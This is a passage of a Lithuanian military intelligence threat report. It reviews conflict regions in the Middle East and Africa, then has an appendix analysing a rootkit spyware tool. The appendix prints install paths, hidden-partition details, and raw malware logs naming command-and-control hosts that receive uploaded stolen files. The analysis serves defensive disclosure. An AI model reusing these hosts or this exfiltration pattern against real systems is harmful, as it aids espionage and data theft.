susiskaldžiusi, o ekonomika palaikoma tik Arabijos pusiasalio monarchijų teikiama 
parama. Situacija nestabili ir toliau prastėja Libijoje, kur silpnai centrinei vyriausybei 
nepavaldžios sukarintos grupuotės kontroliuoja periferines teritorijas, klesti ginklų 
kontrabanda ir savivalė.  

Vidurio Rytų regione didėja „Al Qaedos“ ideologiją remiančių grupuočių 
aktyvumas. Grupuotės naudojasi krizinėmis situacijomis savo įtakai didinti, skleisdamos 
propagandą ir mėgindamos radikalizuoti visuomenes. Sirijoje veikiančiose teroristinėse 
grupuotėse daugėja iš Europos valstybių atvykstančių radikalių musulmonų. „Al Qaedos“ 
ideologiją remiančių teroristinių grupuočių aktyvumas politiniu, ekonominiu ir 
socialiniu atžvilgu nestabiliose musulmoniškose valstybėse kelia globalaus terorizmo 
pavojų tarptautinei bendruomenei. 

 
Konfliktų regionai Afrikoje 
Atsižvelgiant į tai, kad 2013 m. Lietuvos kariai dalyvavo ES jūrų kovos su 

piratavimu operacijoje Afrikos Kyšulyje ir ES karinėje mokymo misijoje Malyje, AOTD 
stebėjo šiuose regionuose vykstančius procesus, taip pat kreipė dėmesį į naujai kylančias 
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krizes regionuose, kur potencialiai gali būti dislokuotos tarptautinės pajėgos. 
Afrikos Kyšulio regione nestabilumo židiniu išlieka Somalis, kuriame Afrikos 

karių pajėgos kartu su ES rengiama Somalio kariuomene baigia išstumti radikalią 
islamistinę „Al Shabaab“ grupuotę iš miestų, bet ši išlieka pajėgi rengti asimetrines 
atakas sostinėje Mogadiše ir kelia teroristinių išpuolių grėsmę kaimyninėms šalims. 

Piratavimo grėsmė tarptautinės laivybos saugumui Afrikos Kyšulio regione 
pastaruosius kelerius metus labai sumažėjo dėl ginkluotų apsaugos grupių naudojimo 
laivuose, ES ir NATO karinių laivų patruliavimo. Kita vertus, piratavimo, ginkluotų 
apiplėšimų rizika padidėjo vakarinėje Afrikos pakrantėje, Gvinėjos įlankoje, kur 
daugiausiai veikia ginkluotos grupės iš Nigerijos.    

Po 2013 m. Prancūzijos operacijos Malyje saugumo krizė suvaldyta, bet Šiaurės 
Malyje ir bendrai Sahelio regione išlieka radikalių grupių išpuolių tikimybė. 

Tarptautinė bendruomenė buvo priversta reaguoti į 2013 m. Centrinės Afrikos 
Respublikoje (CAR) kilusią krizę. Po kovą sukilėlių įvykdyto perversmo saugumo 
situacija CAR smarkiai pablogėjo, silpnai pereinamajai vyriausybei nesugebant įvesti 
tvarkos. Ginkluotų grupių vykdomi žudymai ir plėšimai paskatino gyventojų keršto 
atakas, tai išaugo į tarpbendruomeninį susipriešinimą tarp krikščionių ir musulmonų. 
Išplitęs smurtas, humanitarinė krizė ir de facto šalies pasidalijimas kelia nestabilumo 
visame regione riziką. Siekdama užkirsti kelią valstybės žlugimui, tarptautinė 
bendruomenė įvedė karines pajėgas, kurioms logistinę paramą 2014 m. teikė ir Lietuva. 
 
 
 
 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Viršelio vaizdinė medžiaga panaudota iš: http://desktopiphonewallpaper.com/world-globe-map-picture-hd/ 

http://desktopiphonewallpaper.com/world-globe-map-picture-hd/
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Priedas 
 

Kenkėjiška, šnipinėjimui skirta programinė įranga – ROOTKIT tipo virusas. Tai 
2012 m. AOTD aptiktos, ištirtos ir 2012 m. AOTD ataskaitoje pateiktos šnipinėjimo 
programos naujesnė versija. 

C:\Documents and Settings\USER\Application Data\Help\system32 

 

2013 metų versija 
Šis virusas instaliuojamas iš failo install_Win32.exe. Tačiau į kompiuterį šis failas 

patenka pavadintas kitais pavadinimais, panašiais į jau egzistuojančius „Windows“ 
operacinėje sistemoje. Šiuo atveju į kompiuterį pateko užkratas su originaliu „Windows“ 
operacinėje sistemos charmap.exe failu, kurio turinys modifikuotas ir jo viduje yra 
kenkėjiškas kodas. Instaliacijos metu į sistemą įrašomi valdikliai (rkng.sys ir fdisk.sys). 
Taip pat sukuriama paslėpta ir kriptuota NTFS particija, kuri „Windows“ operacinėje 
sistemoje matoma kaip atskiras failas. Dažniausiai paslėpta NTFS particija atidaroma 
servisu, kurio pavadinimas Ultra3. Šioje NTFS particijoje yra saugomi viruso moduliai ir 
surinkta informacija. Šios particijos kriptavimui naudojamas CAST-128 algoritmas. Jei 
užkrėstas kompiuteris įjungtas, virusas naudoja particijas (dažniausiai naudojamos dvi 
particijos RAM ir HDD laikmenose), prie kurių turinį galima pasiekti \\.\Hd1\ ar 
\\.\Hd2\. Atkreiptinas dėmesys, kad prie šio resurso galima prieiti ne su visomis failų 
naršyklėmis. Particijų dydis gali siekti net 100 MB.  

Viruso surinkta informacija, kaip ir senesnėje versijoje, šifruojama XOR 
raktais: 

HEX 

 

ASCII 

 

HEX 

 

ASCII 

file:\\.\Hd1\
file:\\.\Hd2\
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2013 metų versija aptinkama šioje vietoje: C:\WINDOWS\$NtUninstallbasecsq$ 

 

 

C:\WINDOWS\$NtUninstallbasecsq$\SPUNINST\Temp 

 

Funkcionalumas ir veikimas 
Po sėkmingo viruso įdiegimo, virusas pirmiausia susisiekia su komunikacijų ir 

kontrolės serveriais (C&C), kurių pavadinimai yra įrašyti į viruso programinį kodą. 
Dažniausiai būna įrašyti trys skirtingi komunikacijų ir kontrolės serveriai. Tai padaryta 
saugumo ir stabilumo sumetimais. Vėliau surenkama techninė informacija apie 
kompiuterį, vartotojus ir tinklų struktūrą. Vėliau viruso moduliai iš komunikacijų ir 
kontrolės serverių gauna komandą, kokio pobūdžio informaciją rinkti. Jei reikia, 
atsiunčiami papildomi moduliai ir pradedama rinkti informacija. Surinkus nustatytą 
kiekį informacijos, virusas jungiasi prie komunikacijų ir kontrolės serverių. Pavyzdyje 
matyti, kad susijungimai sėkmingi, bet siunčiamas failas neatitinka nustatytų parametrų 
ir saugumo sumetimais nepriimamas į C&C. 

 
12:20:24 BEG>AM:0(20/180) FSess:1 24hReInit:1440(min), CmdMode:0, FCon:06:36:42 
09/04 LCon:06:36:42 09/04 
12:20:24 3272: Connect euland.freevar.com  type(0)... OK 
12:20:24 3272: GET /A/pub.txt 
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12:20:25 3272: Http status: 200 
12:20:25 3272: recv 11806/11806 
12:20:25 DownLoad 1 command(s) 
12:20:25 3280: Connect euland.freevar.com  type(0)... OK 
12:20:25 3280: GET /A/1/1185b547296d16a71c0 
12:20:25 3280: Http status: 200 
12:20:25 3280: File contain command is too big or corrupt 1413372195 B 
12:20:26 3292: Connect communityeu.xp3.biz  type(0)... OK 
12:20:26 3292: GET /A/pub.txt 
12:20:29 3292: Http status: 200 
12:20:29 3292: recv 11806/11806 
12:20:29 DownLoad 1 command(s) 
12:20:29 3316: Connect communityeu.xp3.biz  type(0)... OK 
12:20:29 3316: GET /A/1/1185b547296d16a71c0 
12:20:31 3316: Http status: 200 
12:20:31 3316: File contain command is too big or corrupt 1413372195 B 
12:20:31 3312: Connect eu-sciffi.99k.org  type(0)... OK 
12:20:31 3312: GET /A/pub.txt 
12:20:34 3312: Http status: 200 
12:20:34 3312: recv 1/1 
12:20:34 DownLoad 1 command(s) 
12:20:34 3344: Connect eu-sciffi.99k.org  type(0)... OK 
12:20:34 3344: GET /A/1/1185b547296d16a71c0 
12:20:35 3344: Http status: 200 
12:20:35 3344: File contain command is too big or corrupt 1450924843 B 
12:20:36 3348: Connect euland.freevar.com  type(0)... OK 
12:20:36 3348: GET /A/77568289 
12:20:39 3348: Http status: 200 
12:20:39 3348: File contain command is too big or corrupt 1413372195 B 
12:20:39 924: Connect communityeu.xp3.biz  type(0)... OK 
12:20:39 924: GET /A/77568289 
12:20:43 924: Http status: 200 
12:20:43 924: File contain command is too big or corrupt 1413372195 B 
12:20:43 488: Connect eu-sciffi.99k.org  type(0)... OK 
12:20:43 488: GET /A/77568289 
12:20:43 488: Http status: 200 
12:20:43 488: Command for all 
12:20:43 488: recv 343/343 
12:20:43 Command Id:301741812015005424(129597122593590000) 
 

Po kurio laiko pavyksta išsiųsti kriptuotą failą mtmon.sdb  su surinkta informacija: 

14:56:40 UpLoad: http upload 1 file(s). 
14:56:40 1400: Connect pressforum.serveblog.net  type(0)... OK 
14:56:40 1400: GET test file /COUNT/pub.html 
14:56:41 1400: POST /COUNT/2/56550495915850677669393816180102550 
14:56:41 1400: C:\WINDOWS\$NtUninstallbasecsq$\mtmon.sdb 1614[B] 
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14:56:45 1400: Http Status:200 
14:56:45 END>AM:1(20/180) FSess:0 :FCon:08:15:13 28/01 LCon:12:56:45 28/01 
 

Iki 2012 m. gruodžio mėnesio naudojamas dll  modulis ktdic.dll  komunikacijoms: 

09:48:15 Parent:C:\Program Files\Internet Explorer\iexplore.exe 
09:48:15 ver 3.1.7.0dbg  dll K:0  PID:4012, C:\WINDOWS\system32\ktdic.dll, 
hostID:1185b547296d16a7(1262614587789612711) 
09:48:15 C:\WINDOWS\$NtUninstallbasecsq$, 
Temp:C:\WINDOWS\$NtUninstallbasecsq$\SPUNINST\Temp 
09:48:15 REG:SOFTWARE\Classes\Microsoft.FreeThreadedXMLDOM.1.1 
09:48:15 ModuleStart: 09:47:55 
 

Atsiradus klaidai, aktyvuojama komanda ID:302644992409075296 ir 
aktyvuojamas C:\WINDOWS\$NtUninstallbasecsq$\pcmon.exe modulis, kuris 
surenka informaciją apie OS pasikeitimus ir informacija siunčiama į C&C. 

09:48:58 554: CREATE>> TVer: FName:C:\WINDOWS\$NtUninstallbasecsq$\pcmon.exe 
[409600B] 
09:48:59 630: CREATE>> TVer: FName:C:\WINDOWS\$NtUninstallbasecsq$\pcmon.exe 
[409600B] 
09:48:59 570: COPY>> TVer: 
FName:C:\WINDOWS\$NtUninstallbasecsq$\mtmon32.sdb[0B] 
09:48:59 554: CreateProcess ... OK 
09:49:00 640: COPY>> TVer: FName:C:\WINDOWS\system32\vtmon.bin[0B] 
-----------------------------------------------------------------------------------------------------------------
------ 
09:48:59 UpLoad: http upload 2 file(s). 
09:48:59 3088: Connect pressforum.serveblog.net  type(0)... OK 
09:48:59 3088: GET test file /MEDIA/pub.html 
09:49:00 3088: POST /MEDIA/2/9732755370904171264019661634980091 
09:49:00 3088: result.xml 1305[B] 
09:49:01 3088: Http Status:200 
09:49:01 3088: POST /MEDIA/2/39915829061734469354218873974957380 
09:49:01 3088: C:\WINDOWS\$NtUninstallbasecsq$\mtmon.sdb 13774[B] 
09:49:02 3088: Http Status:200 
 

Nenustačius klaidos, visi moduliai parsiunčiami į C&C. 

09:50:02 2352: Connect pressforum.serveblog.net  type(0)... OK 
09:50:02 2352: GET test file /MEDIA/pub.html 
09:50:03 2352: POST /MEDIA/2/65879734755397460394763090412536924 
09:50:03 2352: C:\WINDOWS\$NtUninstallbasecsq$\gstat32.bin 308[B] 
09:50:04 2352: Http Status:200 
09:50:04 2352: POST /MEDIA/2/20378922064520849283255577289731333 
09:50:04 2352: result.xml 1300[B] 
09:50:05 2352: Http Status:200 
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09:50:05 2352: POST /MEDIA/2/35141540366635366279983074776441922 
09:50:05 2352: C:\WINDOWS\system32\vtmon.bin 2680[B] 
09:50:06 2352: Http Status:200 
09:50:06 2352: POST /MEDIA/2/65350540857281790130410388208973821 
09:50:06 2352: C:\WINDOWS\$NtUninstallbasecsq$\mtmon32.sdb 649[B] 
09:50:07 2352: Http Status:200 
09:50:07 2352: POST /MEDIA/2/2701628068243318703775296992933440 
09:50:07 2352: C:\WINDOWS\$NtUninstallbasecsq$\mtmon.sdb 12455[B] 
09:50:08 2352: Http Status:200 
 
Toliau renkama informacija apie sistemą, 
acpivt.exe – winrar  komandinės eilutės modulis. 
 
08:07:20 SPKPC1019062: Pipe server thread start 
08:21:06 688: CREATE>> TVer: FName:cmd.exe /c acpivt.exe  a -ta201206 -hpass123 
spuninst\fsca.tmp  c:\windows\minidump\*.* /con [0B] 
08:21:06 688: CreateProcess ... OK 
08:21:06 688: Answer file size:101B 
 
Išanalizavus surinktą informaciją apie sistemą aktyvuojami papildomi moduliai. 
 
08:33:36 59c: CREATE>> TVer: FName:cmd.exe /c msmim32.exe > spuninst\msmim.bin 
/con [0B] 
08:33:36 59c: CreateProcess ... OK 
08:33:37 440: COPY>> TVer: 
FName:C:\WINDOWS\$NtUninstallbasecsq$\SPUNINST\msmim.bin[0B] 
-----------------------------------------------------------------------------------------------------------------
-- 
08:48:36 594: CREATE>> TVer: 
FName:C:\WINDOWS\$NtUninstallbasecsq$\mspd32.exe [96256B] 
08:48:37 594: CreateProcess ... OK 
-----------------------------------------------------------------------------------------------------------------
--- 
14:23:18 578: COPY>> TVer: 
FName:C:\WINDOWS\$NtUninstallbasecsq$\SPUNINST\mfc42l01.pdb[0B] 
 

Vėliau komunikacijoms pradedamas naudoti kitas dll  modulis msvcp60.dll. 

13:39:15 ver 3.1.7.6e dbg  dll K:0  PID:3860, \??\C:\WINDOWS\system32\msvcp60.dll, 
hostID:1185b547296d16a7(1262614587789612711) 
13:39:15 C:\WINDOWS\$NtUninstallbasecsq$, 
Temp:C:\WINDOWS\$NtUninstallbasecsq$\SPUNINST\Temp 
13:39:15 REG:SOFTWARE\Classes\Microsoft.TSHOOTCtrl.1 
 
Šis virusas 50  savo resursų ir modulių skiria rinkti informaciją apie 
kompiuterio vartotoją, kiti 50  skirti stebėti pačios šnipinėjimo programinės 
įrangos ir operacinės sistemos bei tinklų veiklą. 


